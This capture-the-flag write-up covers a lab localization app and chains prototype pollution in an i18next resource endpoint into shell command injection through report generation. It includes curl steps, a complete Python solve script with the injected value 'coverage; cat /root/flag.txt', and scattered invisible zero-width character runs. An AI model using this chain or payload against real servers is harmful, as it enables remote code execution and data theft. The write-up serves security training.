← Back to Writeups
CUSTOMMediumWeb

Lab 407 — LinguaSync — RCE via i18n Prototype Pollution

XESXOR9/2/20265 min read
#web#custom#medium#child_process_spawn_shell_inhe#command_injection_via_report_t#honeypot_flag_identification#i18next_resource_endpoint_abus#prototype_pollution_via_setpat#shell_property_pollution_enabl

Lab 407 — LinguaSync — RCE via i18n Prototype Pollution

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: child_process_spawn_shell_inheritance, command_injection_via_report_type_parameter, honeypot_flag_identification, i18next_resource_endpoint_abuse, prototype_pollution_via_setpath_lng_parameter, shell_property_pollution_enables_spawn_shell_mode

Summary

Walkthrough of the CUSTOM Web Lab 407 — LinguaSync — RCE via i18n Prototype Pollution. Task: Node.js/Express localization dashboard with i18next resource API and report generation. Solution: Prototype pollution via setPath() in /locales/resources (lng=proto&ns=shell sets Object.prot

Description

LinguaSync is a localization management dashboard used by development teams at SyncWave Technologies to manage translations across multiple projects. The platform provides a web interface for managing translation keys, reviewing changes, and exporting language bundles. It also includes a report generation feature that creates summaries of translation coverage.

Your objective is to find a vulnerability in the application that allows you to execute arbitrary commands on the server and read the flag stored at /root/flag.txt.

The application runs on port 8080 and uses i18next for internationalization with a resource API endpoint.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Node.js/Express application with EJS templates, i18next for internationalization, and nginx/1.25.5 reverse proxy. The goal is to achieve RCE and read /root/flag.txt.

Analysis

Attack Surface

  1. i18next Resource API (GET /locales/resources?lng={language}&ns={namespace}) — Returns translation bundles as JSON. Uses a custom setPath() utility to build the response object. This is the prototype pollution vector.

  2. Report Generation (POST /api/reports/generate) — Generates coverage/status reports by spawning child processes via child_process.spawn(). This is the RCE trigger. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. Settings/Translation Endpoints — Multiple POST endpoints (/api/settings, /api/translations/import, /api/translations/resources, /api/translations/sync) that accept JSON but are dummy endpoints returning {"success":true} without side effects. These are rabbit holes.

  4. Decoy Flag — Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs, designed to trap AI agents and automated scanners.

Vulnerability: Prototype Pollution via setPath()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The /locales/resources endpoint uses a setPath() utility to construct the JSON response:

javascript
const result = {};
setPath(result, [lng, ns], bundle);
res.json(result);

The setPath() function traverses the path array without checking hasOwnProperty:

javascript
function setPath(obj, path, value) {
    let current = obj;
    for (let i = 0; i < path.length - 1; i++) {
        if (!current[path[i]]) current[path[i]] = {};
        current = current[path[i]];  // NO hasOwnProperty check!
    }
    current[path[path.length - 1]] = value;
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When lng=__proto__:

  1. current = result (empty object {})
  2. current["__proto__"] evaluates to result.__proto__ which is Object.prototype (truthy — no new object created)
  3. current = Object.prototype
  4. current[ns] = value → Object.prototype[ns] = value

For non-existent resource bundles, the value defaults to boolean true. This means requesting GET /locales/resources?lng=__proto__&ns=shell sets Object.prototype.shell = true.

Evidence of pollution: The response for lng=__proto__ is {} (empty JSON), while any other non-existent language returns {"lng":{"ns":true}}. The empty response occurs because JSON.stringify doesn't serialize inherited properties — the pollution happened on Object.prototype, not as an own property of the result object. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation: shell=true Enables Command Injection in spawn()

The report generation endpoint uses child_process.spawn() to run a worker process. When spawn() is called, it creates an options object that inherits from Object.prototype.

With Object.prototype.shell = true:

  • spawn() runs commands through /bin/sh -c "..." instead of direct execution
  • Shell metacharacters (;, |, $()) in arguments become executable
  • The reportType parameter from the request body is passed as an argument to the spawned process ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This converts a simple argument injection into full command injection.

Solution

Step 1: Authenticate

bash
curl -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"

Step 2: Pollute Object.prototype.shell = true

bash
curl -b cookies.txt "$TARGET/locales/resources?lng=__proto__&ns=shell"
# Response: {} (empty — pollution happened on Object.prototype, not own property)

Step 3: Command Injection via Report Generation

bash
curl -b cookies.txt -X POST "$TARGET/api/reports/generate" \
  -H "Content-Type: application/json" \
  -d '{"projectId":"1","reportType":"coverage; cat /root/flag.txt"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag appears in the report output.

Full Solve Script

python
#!/usr/bin/env python3
"""
LinguaSync — RCE via i18n Prototype Pollution

Attack chain:
1. Pollute Object.prototype.shell = true via /locales/resources?lng=__proto__&ns=shell
2. Report generation's child_process.spawn() inherits shell=true from prototype
3. Command injection via reportType parameter: "coverage; cat /root/flag.txt"
"""

import requests
import re
import sys

TARGET = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "https://TARGET.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

s = requests.Session()

# Step 1: Login
print("[*] Logging in...")
s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# Step 2: Prototype pollution — set Object.prototype.shell = true
# The /locales/resources endpoint uses setPath(result, [lng, ns], value)
# With lng=__proto__, it traverses result.__proto__ = Object.prototype
# Then sets Object.prototype.shell = true (fallback value for non-existent bundle)
print("[*] Polluting Object.prototype.shell = true...")
r = s.get(f"{TARGET}/locales/resources", params={
    "lng": "__proto__",
    "ns": "shell"
})
print(f"[*] Pollution: {r.status_code} (response: {r.text})")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Command injection via report generation
# With shell=true inherited by spawn(), reportType becomes injectable
print("[*] Triggering command injection via report generation...")
r = s.post(f"{TARGET}/api/reports/generate", json={
    "projectId": "1",
    "reportType": "coverage; cat /root/flag.txt"
})
print(f"[*] Report: {r.status_code}")
print(r.text)

# Extract flag
match = re.search(r'FLAG\{[a-f0-9]+\}', r.text)
if match:
    print(f"\n[+] FLAG: {match.group()}")
else:
    print("[-] Flag not found in response")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches

  1. POST /api/settings with __proto__ deep merge — The settings endpoint accepts JSON and returns success, but does NOT deep-merge into a config object. Dummy endpoint that stores settings without affecting Object.prototype.

  2. POST /api/translations/import with i18next resource format — Returns success but doesn't call addResourceBundle() or modify the i18next store. Dummy endpoint.

  3. POST /api/translations/resources, /sync, /add — All dummy endpoints returning {"success":true} without side effects. Rabbit holes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. EJS client+escape gadget chain — Attempted to pollute Object.prototype.client = true and Object.prototype.escape = IIFE_payload. Failed because the pollution only sets boolean true values (not strings), and the escape gadget requires a string IIFE payload.

  5. NODE_OPTIONS --import data URI — Attempted to set Object.prototype.NODE_OPTIONS. Failed because the pollution value is boolean true, not a string.

  6. Query string prototype pollution — Express's qs parser with default settings does not allow __proto__ pollution via query strings. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering child_process_spawn_shell_inheritance, command_injection_via_report_type_parameter, honeypot_flag_identification, i18next_resource_endpoint_abuse, prototype_pollution_via_setpath_lng_parameter, shell_property_pollution_enables_spawn_shell_mode was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-28 • CUSTOM • Lab 407 — LinguaSync — RCE via i18n Prototype Pollution • Difficulty: Medium